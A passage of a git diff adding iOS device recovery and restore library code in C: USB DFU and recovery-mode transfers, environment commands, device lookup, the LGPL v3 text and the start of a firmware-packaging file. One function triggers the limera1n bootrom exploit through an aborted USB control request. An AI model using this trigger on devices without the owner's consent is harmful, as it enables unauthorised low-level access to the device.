+ crc32_step(h1, dfu_xbuf[j*6 + 3]);
+ crc32_step(h1, dfu_xbuf[j*6 + 4]);
+ crc32_step(h1, dfu_xbuf[j*6 + 5]);
+ }
+
+ char* newbuf = (char*)malloc(size + 16);
+ if (size > 0) {
+ memcpy(newbuf, &buffer[i * packet_size], size);
+ }
+ memcpy(newbuf+size, dfu_xbuf, 12);
+ newbuf[size+12] = h1 & 0xFF;
+ newbuf[size+13] = (h1 >> 8) & 0xFF;
+ newbuf[size+14] = (h1 >> 16) & 0xFF;
+ newbuf[size+15] = (h1 >> 24) & 0xFF;
+ size += 16;
+ bytes = irecv_usb_control_transfer(client, 0x21, 1, i, 0, (unsigned char*)newbuf, size, USB_TIMEOUT);
+ free(newbuf);
+ } else {
+ bytes = irecv_usb_control_transfer(client, 0x21, 1, i, 0, &buffer[i * packet_size], size, USB_TIMEOUT);
+ }
+ }
+
+ if (bytes != size) {
+ return IRECV_E_USB_UPLOAD;
+ }
+
+ if (!recovery_mode) {
+ error = irecv_get_status(client, &status);
+ }
+
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ if (!recovery_mode && status != 5) {
+ int retry = 0;
+
+ while (retry++ < 20) {
+ irecv_get_status(client, &status);
+ if (status == 5) {
+ break;
+ }
+ sleep(1);
+ }
+
+ if (status != 5) {
+ return IRECV_E_USB_UPLOAD;
+ }
+ }
+
+ count += size;
+ if (client->progress_callback != NULL) {
+ irecv_event_t event;
+ event.progress = ((double) count/ (double) length) * 100.0;
+ event.type = IRECV_PROGRESS;
+ event.data = (char*)"Uploading";
+ event.size = count;
+ client->progress_callback(client, &event);
+ } else {
+ debug("Sent: %d bytes - %lu of %lu\n", bytes, count, length);
+ }
+ }
+
+ if (recovery_mode && length % 512 == 0) {
+ /* send a ZLP */
+ bytes = 0;
+ irecv_usb_bulk_transfer(client, 0x04, buffer, 0, &bytes, USB_TIMEOUT);
+ }
+
+ if ((options & IRECV_SEND_OPT_DFU_NOTIFY_FINISH) && !recovery_mode) {
+ irecv_usb_control_transfer(client, 0x21, 1, packets, 0, (unsigned char*) buffer, 0, USB_TIMEOUT);
+
+ for (i = 0; i < 2; i++) {
+ error = irecv_get_status(client, &status);
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+ }
+
+ if ((options & IRECV_SEND_OPT_DFU_FORCE_ZLP)) {
+ /* we send a pseudo ZLP here just in case */
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, 0, 0, USB_TIMEOUT);
+ }
+
+ irecv_reset(client);
+
+ if (isiOS2) {
+ irecv_reconnect(client, 0);
+ }
+ }
+
+ if (legacy_recovery_mode) {
+ irecv_reconnect(client, 0);
+ char cmdstr[0x100] = {0};
+ snprintf(cmdstr, sizeof(cmdstr), "setenv filesize %d", (int)length);
+ irecv_send_command(client, cmdstr);
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_receive(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ char buffer[BUFFER_SIZE];
+ memset(buffer, '\0', BUFFER_SIZE);
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ int bytes = 0;
+ while (1) {
+ irecv_usb_set_interface(client, 1, 1);
+ int r = irecv_usb_bulk_transfer(client, 0x81, (unsigned char*) buffer, BUFFER_SIZE, &bytes, 500);
+ irecv_usb_set_interface(client, 0, 0);
+ if (r != 0) {
+ break;
+ }
+ if (bytes > 0) {
+ if (client->received_callback != NULL) {
+ irecv_event_t event;
+ event.size = bytes;
+ event.data = buffer;
+ event.type = IRECV_RECEIVED;
+ if (client->received_callback(client, &event) != 0) {
+ break;
+ }
+ }
+ } else break;
+ }
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_getenv(irecv_client_t client, const char* variable, char** value)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ char command[256];
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ *value = NULL;
+
+ if (variable == NULL) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ if (client->device_info.cpid == 0x8900 && !client->device_info.ecid) {
+ debug("iOS 1 doesn't support getenv\n");
+ return IRECV_E_UNSUPPORTED;
+ }
+
+ memset(command, '\0', sizeof(command));
+ snprintf(command, sizeof(command)-1, "getenv %s", variable);
+ irecv_error_t error = irecv_send_command_raw(client, command, 0);
+ if (error == IRECV_E_PIPE) {
+ return IRECV_E_SUCCESS;
+ }
+
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ int rsize = 256;
+ char* response = (char*) malloc(rsize);
+ if (response == NULL) {
+ return IRECV_E_OUT_OF_MEMORY;
+ }
+
+ memset(response, '\0', rsize);
+ irecv_usb_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, rsize-1, USB_TIMEOUT);
+
+ *value = response;
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_getret(irecv_client_t client, unsigned int* value)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ *value = 0;
+
+ int rsize = 256;
+ char* response = (char*) malloc(rsize);
+ if (response == NULL) {
+ return IRECV_E_OUT_OF_MEMORY;
+ }
+
+ memset(response, '\0', rsize);
+ irecv_usb_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, rsize-1, USB_TIMEOUT);
+
+ *value = (unsigned int) *response;
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_get_mode(irecv_client_t client, int* mode)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ *mode = client->mode;
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+const struct irecv_device_info* irecv_get_device_info(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return NULL;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return NULL;
+
+ return &client->device_info;
+#endif
+}
+
+#ifndef USE_DUMMY
+#ifdef HAVE_IOKIT
+static void *iokit_limera1n_usb_submit_request(void *argv)
+{
+ void **args = argv;
+ IOUSBDeviceInterface320 **dev = args[0];
+ IOUSBDevRequest *req = args[1];
+
+ IOReturn result = (*dev)->DeviceRequest(dev, req);
+ if (result != kIOReturnSuccess)
+ debug("%s result: %#x\n", __func__, result);
+
+ return NULL;
+}
+#endif
+#endif
+
+irecv_error_t irecv_trigger_limera1n_exploit(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+#ifdef HAVE_IOKIT
+ IOReturn result;
+ IOUSBDevRequestTO req;
+ bzero(&req, sizeof(req));
+
+ req.bmRequestType = 0x21;
+ req.bRequest = 2;
+ req.wValue = 0;
+ req.wIndex = 0;
+ req.wLength = 0;
+ req.pData = NULL;
+ req.noDataTimeout = USB_TIMEOUT;
+ req.completionTimeout = USB_TIMEOUT;
+
+ // The original version uses an async request, but we don't have an async event
+ // source set up. The hack relies on aborting the transaction before it times out,
+ // which can be accomplished by sending on another thread.
+
+ void *args[2] = { client->handle, &req };
+ THREAD_T thread;
+ thread_new(&thread, iokit_limera1n_usb_submit_request, args);
+
+ usleep(5 * 1000);
+ result = (*client->handle)->USBDeviceAbortPipeZero(client->handle);
+ if (result != kIOReturnSuccess)
+ debug("USBDeviceAbortPipeZero returned %#x\n", result);
+
+ switch (result) {
+ case kIOReturnSuccess: return req.wLenDone;
+ case kIOReturnTimeout: return IRECV_E_TIMEOUT;
+ case kIOUSBTransactionTimeout: return IRECV_E_TIMEOUT;
+ case kIOReturnNotResponding: return IRECV_E_NO_DEVICE;
+ case kIOReturnNoDevice: return IRECV_E_NO_DEVICE;
+ default:
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+#else
+ irecv_usb_control_transfer(client, 0x21, 2, 0, 0, NULL, 0, USB_TIMEOUT);
+#endif
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_execute_script(irecv_client_t client, const char* script)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ irecv_error_t error = IRECV_E_SUCCESS;
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ char* body = strdup(script);
+ char* line = strtok(body, "\n");
+
+ while (line != NULL) {
+ if (line[0] != '#') {
+ error = irecv_send_command(client, line);
+ if (error != IRECV_E_SUCCESS) {
+ break;
+ }
+
+ error = irecv_receive(client);
+ if (error != IRECV_E_SUCCESS) {
+ break;
+ }
+ }
+ line = strtok(NULL, "\n");
+ }
+
+ free(body);
+
+ return error;
+#endif
+}
+
+irecv_error_t irecv_saveenv(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ irecv_error_t error = irecv_send_command_raw(client, "saveenv", 0);
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_setenv(irecv_client_t client, const char* variable, const char* value)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ char command[256];
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ if (variable == NULL || value == NULL) {
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ memset(command, '\0', sizeof(command));
+ snprintf(command, sizeof(command)-1, "setenv %s %s", variable, value);
+ irecv_error_t error = irecv_send_command_raw(client, command, 0);
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_setenv_np(irecv_client_t client, const char* variable, const char* value)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ char command[256];
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ if (variable == NULL || value == NULL) {
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ memset(command, '\0', sizeof(command));
+ snprintf(command, sizeof(command)-1, "setenvnp %s %s", variable, value);
+ irecv_error_t error = irecv_send_command_raw(client, command, 0);
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_reboot(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ irecv_error_t error = irecv_send_command_raw(client, "reboot", 0);
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+const char* irecv_strerror(irecv_error_t error)
+{
+ switch (error) {
+ case IRECV_E_SUCCESS:
+ return "Command completed successfully";
+
+ case IRECV_E_NO_DEVICE:
+ return "Unable to find device";
+
+ case IRECV_E_OUT_OF_MEMORY:
+ return "Out of memory";
+
+ case IRECV_E_UNABLE_TO_CONNECT:
+ return "Unable to connect to device";
+
+ case IRECV_E_INVALID_INPUT:
+ return "Invalid input";
+
+ case IRECV_E_FILE_NOT_FOUND:
+ return "File not found";
+
+ case IRECV_E_USB_UPLOAD:
+ return "Unable to upload data to device";
+
+ case IRECV_E_USB_STATUS:
+ return "Unable to get device status";
+
+ case IRECV_E_USB_INTERFACE:
+ return "Unable to set device interface";
+
+ case IRECV_E_USB_CONFIGURATION:
+ return "Unable to set device configuration";
+
+ case IRECV_E_PIPE:
+ return "Broken pipe";
+
+ case IRECV_E_TIMEOUT:
+ return "Timeout talking to device";
+
+ case IRECV_E_UNSUPPORTED:
+ return "Operation unsupported by driver";
+
+ default:
+ return "Unknown error";
+ }
+
+ return NULL;
+}
+
+irecv_error_t irecv_reset_counters(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ if ((client->mode == IRECV_K_DFU_MODE) || (client->mode == IRECV_K_PORT_DFU_MODE) || (client->mode == IRECV_K_WTF_MODE)) {
+ irecv_usb_control_transfer(client, 0x21, 4, 0, 0, 0, 0, USB_TIMEOUT);
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_recv_buffer(irecv_client_t client, char* buffer, unsigned long length)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int recovery_mode = ((client->mode != IRECV_K_DFU_MODE) && (client->mode != IRECV_K_PORT_DFU_MODE) && (client->mode != IRECV_K_WTF_MODE));
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ int packet_size = recovery_mode ? 0x2000: 0x800;
+ int last = length % packet_size;
+ int packets = length / packet_size;
+ if (last != 0) {
+ packets++;
+ } else {
+ last = packet_size;
+ }
+
+ int i = 0;
+ int bytes = 0;
+ unsigned long count = 0;
+ for (i = 0; i < packets; i++) {
+ unsigned short size = (i+1) < packets ? packet_size : last;
+ bytes = irecv_usb_control_transfer(client, 0xA1, 2, 0, 0, (unsigned char*)&buffer[i * packet_size], size, USB_TIMEOUT);
+
+ if (bytes != size) {
+ return IRECV_E_USB_UPLOAD;
+ }
+
+ count += size;
+ if (client->progress_callback != NULL) {
+ irecv_event_t event;
+ event.progress = ((double) count/ (double) length) * 100.0;
+ event.type = IRECV_PROGRESS;
+ event.data = (char*)"Downloading";
+ event.size = count;
+ client->progress_callback(client, &event);
+ } else {
+ debug("Sent: %d bytes - %lu of %lu\n", bytes, count, length);
+ }
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_finish_transfer(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int i = 0;
+ unsigned int status = 0;
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, 0, 0, USB_TIMEOUT);
+
+ for (i = 0; i < 3; i++){
+ irecv_get_status(client, &status);
+ }
+
+ irecv_reset(client);
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_device_t irecv_devices_get_all(void)
+{
+ return irecv_devices;
+}
+
+irecv_error_t irecv_devices_get_device_by_client(irecv_client_t client, irecv_device_t* device)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int i = 0;
+
+ if (!client || !device)
+ return IRECV_E_INVALID_INPUT;
+
+ *device = NULL;
+
+ if (client->device_info.cpid == 0) {
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ unsigned int cpid_match = client->device_info.cpid;
+ unsigned int bdid_match = client->device_info.bdid;
+ if (client->mode == IRECV_K_PORT_DFU_MODE) {
+ cpid_match = (client->device_info.bdid >> 8) & 0xFFFF;
+ bdid_match = (client->device_info.bdid >> 24) & 0xFF;
+ }
+
+ for (i = 0; irecv_devices[i].hardware_model != NULL; i++) {
+ if (irecv_devices[i].chip_id == cpid_match && irecv_devices[i].board_id == bdid_match) {
+ *device = &irecv_devices[i];
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_NO_DEVICE;
+#endif
+}
+
+irecv_error_t irecv_devices_get_device_by_product_type(const char* product_type, irecv_device_t* device)
+{
+ int i = 0;
+
+ if (!product_type || !device)
+ return IRECV_E_INVALID_INPUT;
+
+ *device = NULL;
+
+ for (i = 0; irecv_devices[i].product_type != NULL; i++) {
+ if (!strcmp(product_type, irecv_devices[i].product_type)) {
+ *device = &irecv_devices[i];
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_NO_DEVICE;
+}
+
+irecv_error_t irecv_devices_get_device_by_hardware_model(const char* hardware_model, irecv_device_t* device)
+{
+ int i = 0;
+
+ if (!hardware_model || !device)
+ return IRECV_E_INVALID_INPUT;
+
+ *device = NULL;
+
+ for (i = 0; irecv_devices[i].hardware_model != NULL; i++) {
+ if (!strcasecmp(hardware_model, irecv_devices[i].hardware_model)) {
+ *device = &irecv_devices[i];
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_NO_DEVICE;
+}
+
+irecv_client_t irecv_reconnect(irecv_client_t client, int initial_pause)
+{
+#ifdef USE_DUMMY
+ return NULL;
+#else
+ irecv_error_t error = 0;
+ irecv_client_t new_client = NULL;
+ irecv_event_cb_t progress_callback = client->progress_callback;
+ irecv_event_cb_t received_callback = client->received_callback;
+ irecv_event_cb_t connected_callback = client->connected_callback;
+ irecv_event_cb_t precommand_callback = client->precommand_callback;
+ irecv_event_cb_t postcommand_callback = client->postcommand_callback;
+ irecv_event_cb_t disconnected_callback = client->disconnected_callback;
+
+ uint64_t ecid = client->device_info.ecid;
+
+ if (check_context(client) == IRECV_E_SUCCESS) {
+ irecv_cleanup(client);
+ }
+
+ if (initial_pause > 0) {
+ debug("Waiting %d seconds for the device to pop up...\n", initial_pause);
+ sleep(initial_pause);
+ }
+
+ error = irecv_open_with_ecid_and_attempts(&new_client, ecid, 10);
+ if (error != IRECV_E_SUCCESS) {
+ return NULL;
+ }
+
+ new_client->progress_callback = progress_callback;
+ new_client->received_callback = received_callback;
+ new_client->connected_callback = connected_callback;
+ new_client->precommand_callback = precommand_callback;
+ new_client->postcommand_callback = postcommand_callback;
+ new_client->disconnected_callback = disconnected_callback;
+
+ // keep old handle valid
+ memcpy(client, new_client, sizeof(*client));
+ free(new_client);
+ new_client = client;
+
+ if (new_client->connected_callback != NULL) {
+ irecv_event_t event;
+ event.size = 0;
+ event.data = NULL;
+ event.progress = 0;
+ event.type = IRECV_CONNECTED;
+ new_client->connected_callback(new_client, &event);
+ }
+
+ return new_client;
+#endif
+}
diff --git a/sources/MobileRestoreCore/COPYING b/sources/MobileRestoreCore/COPYING
new file mode 100644
index 00000000..65c5ca88
--- /dev/null
+++ b/sources/MobileRestoreCore/COPYING
@@ -0,0 +1,165 @@
+ GNU LESSER GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+
+ This version of the GNU Lesser General Public License incorporates
+the terms and conditions of version 3 of the GNU General Public
+License, supplemented by the additional permissions listed below.
+
+ 0. Additional Definitions.
+
+ As used herein, "this License" refers to version 3 of the GNU Lesser
+General Public License, and the "GNU GPL" refers to version 3 of the GNU
+General Public License.
+
+ "The Library" refers to a covered work governed by this License,
+other than an Application or a Combined Work as defined below.
+
+ An "Application" is any work that makes use of an interface provided
+by the Library, but which is not otherwise based on the Library.
+Defining a subclass of a class defined by the Library is deemed a mode
+of using an interface provided by the Library.
+
+ A "Combined Work" is a work produced by combining or linking an
+Application with the Library. The particular version of the Library
+with which the Combined Work was made is also called the "Linked
+Version".
+
+ The "Minimal Corresponding Source" for a Combined Work means the
+Corresponding Source for the Combined Work, excluding any source code
+for portions of the Combined Work that, considered in isolation, are
+based on the Application, and not on the Linked Version.
+
+ The "Corresponding Application Code" for a Combined Work means the
+object code and/or source code for the Application, including any data
+and utility programs needed for reproducing the Combined Work from the
+Application, but excluding the System Libraries of the Combined Work.
+
+ 1. Exception to Section 3 of the GNU GPL.
+
+ You may convey a covered work under sections 3 and 4 of this License
+without being bound by section 3 of the GNU GPL.
+
+ 2. Conveying Modified Versions.
+
+ If you modify a copy of the Library, and, in your modifications, a
+facility refers to a function or data to be supplied by an Application
+that uses the facility (other than as an argument passed when the
+facility is invoked), then you may convey a copy of the modified
+version:
+
+ a) under this License, provided that you make a good faith effort to
+ ensure that, in the event an Application does not supply the
+ function or data, the facility still operates, and performs
+ whatever part of its purpose remains meaningful, or
+
+ b) under the GNU GPL, with none of the additional permissions of
+ this License applicable to that copy.
+
+ 3. Object Code Incorporating Material from Library Header Files.
+
+ The object code form of an Application may incorporate material from
+a header file that is part of the Library. You may convey such object
+code under terms of your choice, provided that, if the incorporated
+material is not limited to numerical parameters, data structure
+layouts and accessors, or small macros, inline functions and templates
+(ten or fewer lines in length), you do both of the following:
+
+ a) Give prominent notice with each copy of the object code that the
+ Library is used in it and that the Library and its use are
+ covered by this License.
+
+ b) Accompany the object code with a copy of the GNU GPL and this license
+ document.
+
+ 4. Combined Works.
+
+ You may convey a Combined Work under terms of your choice that,
+taken together, effectively do not restrict modification of the
+portions of the Library contained in the Combined Work and reverse
+engineering for debugging such modifications, if you also do each of
+the following:
+
+ a) Give prominent notice with each copy of the Combined Work that
+ the Library is used in it and that the Library and its use are
+ covered by this License.
+
+ b) Accompany the Combined Work with a copy of the GNU GPL and this license
+ document.
+
+ c) For a Combined Work that displays copyright notices during
+ execution, include the copyright notice for the Library among
+ these notices, as well as a reference directing the user to the
+ copies of the GNU GPL and this license document.
+
+ d) Do one of the following:
+
+ 0) Convey the Minimal Corresponding Source under the terms of this
+ License, and the Corresponding Application Code in a form
+ suitable for, and under terms that permit, the user to
+ recombine or relink the Application with a modified version of
+ the Linked Version to produce a modified Combined Work, in the
+ manner specified by section 6 of the GNU GPL for conveying
+ Corresponding Source.
+
+ 1) Use a suitable shared library mechanism for linking with the
+ Library. A suitable mechanism is one that (a) uses at run time
+ a copy of the Library already present on the user's computer
+ system, and (b) will operate properly with a modified version
+ of the Library that is interface-compatible with the Linked
+ Version.
+
+ e) Provide Installation Information, but only if you would otherwise
+ be required to provide such information under section 6 of the
+ GNU GPL, and only to the extent that such information is
+ necessary to install and execute a modified version of the
+ Combined Work produced by recombining or relinking the
+ Application with a modified version of the Linked Version. (If
+ you use option 4d0, the Installation Information must accompany
+ the Minimal Corresponding Source and Corresponding Application
+ Code. If you use option 4d1, you must provide the Installation
+ Information in the manner specified by section 6 of the GNU GPL
+ for conveying Corresponding Source.)
+
+ 5. Combined Libraries.
+
+ You may place library facilities that are a work based on the
+Library side by side in a single library together with other library
+facilities that are not Applications and are not covered by this
+License, and convey such a combined library under terms of your
+choice, if you do both of the following:
+
+ a) Accompany the combined library with a copy of the same work based
+ on the Library, uncombined with any other library facilities,
+ conveyed under the terms of this License.
+
+ b) Give prominent notice with the combined library that part of it
+ is a work based on the Library, and explaining where to find the
+ accompanying uncombined form of the same work.
+
+ 6. Revised Versions of the GNU Lesser General Public License.
+
+ The Free Software Foundation may publish revised and/or new versions
+of the GNU Lesser General Public License from time to time. Such new
+versions will be similar in spirit to the present version, but may
+differ in detail to address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Library as you received it specifies that a certain numbered version
+of the GNU Lesser General Public License "or any later version"
+applies to it, you have the option of following the terms and
+conditions either of that published version or of any later version
+published by the Free Software Foundation. If the Library as you
+received it does not specify a version number of the GNU Lesser
+General Public License, you may choose any version of the GNU Lesser
+General Public License ever published by the Free Software Foundation.
+
+ If the Library as you received it specifies that a proxy can decide
+whether future versions of the GNU Lesser General Public License shall
+apply, that proxy's public statement of acceptance of any version is
+permanent authorization for you to choose that version for the
+Library.
diff --git a/sources/MobileRestoreCore/ace3.c b/sources/MobileRestoreCore/ace3.c
new file mode 100644
index 00000000..d51613dc
--- /dev/null
+++ b/sources/MobileRestoreCore/ace3.c
@@ -0,0 +1,277 @@
+/*
+ * ace3.c
+ * Functions to handle Ace3/uarp firmware format
+ *
+ * Copyright (c) 2024 Nikias Bassen, All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <string.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <libimobiledevice-glue/nskeyedarchive.h>
+
+#include "common.h"
+#include "ace3.h"
+#include "endianness.h"
+
+static uint32_t crc_buffer(const unsigned char* buffer, unsigned int bufsize, unsigned int salt)
+{
+ uint32_t result;
+ unsigned int i;
+ unsigned int j;
+
+ if ( !buffer )
+ return 0xFFFFFFFF;
+ result = salt;
+ for (i = 0; i < bufsize; ++i) {
+ for (j = 0; j != 8; ++j) {
+ unsigned int tmp0 = 2 * result;
+ unsigned int tmp1 = *(unsigned char*)(buffer + i);
+ unsigned int tmp2 = ((unsigned int)result >> 31) ^ ((tmp1 >> j) & 1);
+ result = (tmp2 + 2 * result) ^ 0x4C11DB6;
+ if (!tmp2)
+ result = tmp0;
+ }
+ }
+ return result;
+}
+
+static int uarp_version_convert(uint32_t* version_data, uint32_t* version_out)
+{
+ if (version_out) *version_out = 0;
+ if (!version_data) {
+ return -1;
+ }
+ uint32_t part1 = (version_data[0] < 0xE00) ? version_data[0] : version_data[0] - 0xE00;
+ if (part1 > 0x63) {
+ return 0;
+ }
+ uint32_t part2 = (version_data[0] < 0xE00) ? 0 : 0xE00;
+ uint32_t part3 = version_data[1];
+ if (part3 > 0x3E7) {
+ return 0;
+ }
+ uint32_t part4 = version_data[2];
+ if (part4 > 0x63) {
+ return 0;
+ }
+ if (version_out) {
+ *version_out = (((((0x147B * (unsigned int)((uint16_t)part3 >> 2)) >> 9) & 0x3FF00) | (0x10 * (((uint8_t)((uint16_t)part3 / 0xA) % 0xA) & 0xF)) | ((uint16_t)part3 % 0xA)) << 8)
+ | ((((uint8_t)part1 % 0xA) | (0x10 * ((uint8_t)part1 / 0xA)) | part2) << 20)
+ | ((uint8_t)part4 % 0xA)
+ | (((0xCD * (unsigned int)(uint8_t)part4) >> 7) & 0xF0);
+ }
+ return 0;
+}
+
+int ace3_create_binary(const void* uarp_fw, size_t uarp_size, uint64_t bdid, unsigned int prev, plist_t tss, void** bin_out, size_t* bin_size)
+{
+ struct ace3bin_header {
+ uint32_t magic; // 0xACE00003
+ uint32_t version; // ace3 version, e.g. 0x00203400
+ uint32_t unk8; // 0x00002800
+ uint32_t header_size; // 0x00000040
+ uint32_t data1_size;
+ uint32_t data2_size;
+ uint32_t im4m_offset;
+ uint32_t im4m_dl_size;
+ uint32_t content_size;
+ uint32_t crc;
+ uint64_t fill1; // 0xFFFFFFFFFFFFFFFF
+ uint64_t fill2; // 0xFFFFFFFFFFFFFFFF
+ uint64_t fill3; // 0xFFFFFFFFFFFFFFFF
+ };
+
+ struct uarp_header {
+ uint32_t unk_00; // BE 0x00000002
+ uint32_t header_size; // BE usually 0x0000002C
+ uint32_t plist_offset; // BE
+ uint32_t unk_0c; // 0
+ uint32_t unk_10; // 0
+ uint32_t unk_14; // 0
+ uint32_t unk_18; // 0
+ uint32_t c_offset; // BE
+ uint32_t unk_20; // 0
+ uint32_t toc_offset; // BE usually 0x0000002c
+ uint32_t toc_size; // BE
+ };
+ struct uarp_toc_entry {
+ uint32_t this_size; // BE usually 0x28
+ uint32_t fourcc; // 'PT01' or similar
+ uint32_t version[4]; // BE values
+ uint32_t unk_18; // BE other offset, not sure
+ uint32_t unk_1c; // BE usually 0
+ uint32_t offset; // BE
+ uint32_t size; //
+ };
+
+ plist_t p_im4m = plist_dict_get_item(tss, "USBPortController1,Ticket");
+ uint64_t im4m_size = 0;
+ const char* im4m = plist_get_data_ptr(p_im4m, &im4m_size);
+
+ struct uarp_header* uarp_hdr = (struct uarp_header*)uarp_fw;
+ uint32_t uarp_hdr_size = be32toh(uarp_hdr->header_size);
+ uint32_t plist_offset = be32toh(uarp_hdr->plist_offset);
+ uint32_t plist_size = uarp_size - plist_offset;
+ nskeyedarchive_t ka = nskeyedarchive_new_from_data(uarp_fw + plist_offset, plist_size);
+ if (!ka) {
+ return -1;
+ }
+ plist_t uarp_dict = nskeyedarchive_to_plist(ka);
+ nskeyedarchive_free(ka);
+
+ // find the corresponding entries for given BoardID+PREV
+
+ char* payload_4cc = NULL;
+ char* data_payload_4ccs = NULL;
+
+ plist_t sb_payloads = plist_dict_get_item(uarp_dict, "SuperBinary Payloads");
+ if (PLIST_IS_ARRAY(sb_payloads)) {
+ plist_array_iter iter = NULL;
+ plist_array_new_iter(sb_payloads, &iter);
+ plist_t payload = NULL;
+ do {
+ plist_array_next_item(sb_payloads, iter, &payload);
+ if (!payload) {
+ break;
+ }
+ plist_t meta = plist_dict_get_item(payload, "Payload MetaData");
+ if (!PLIST_IS_DICT(meta)) {
+ continue;
+ }
+ plist_t prefix = plist_dict_get_item(meta, "Personalization Manifest Prefix");
+ if (!PLIST_IS_STRING(prefix)) {
+ continue;
+ }
+ if (strcmp(plist_get_string_ptr(prefix, NULL), "USBPortController") != 0) {
+ continue;
+ }
+ plist_t p_boardid = plist_dict_get_item(meta, "Personalization Board ID (64 bits)");
+ if (!PLIST_IS_INT(p_boardid)) {
+ continue;
+ }
+ uint64_t boardid = 0;
+ plist_get_uint_val(p_boardid, &boardid);
+ if (boardid == bdid) {
+ logger(LL_DEBUG, "%s: Found Board ID 0x%" PRIx64 "\n", __func__, bdid);
+ plist_t p4cc = plist_dict_get_item(payload, "Payload 4CC");
+ plist_get_string_val(p4cc, &payload_4cc);
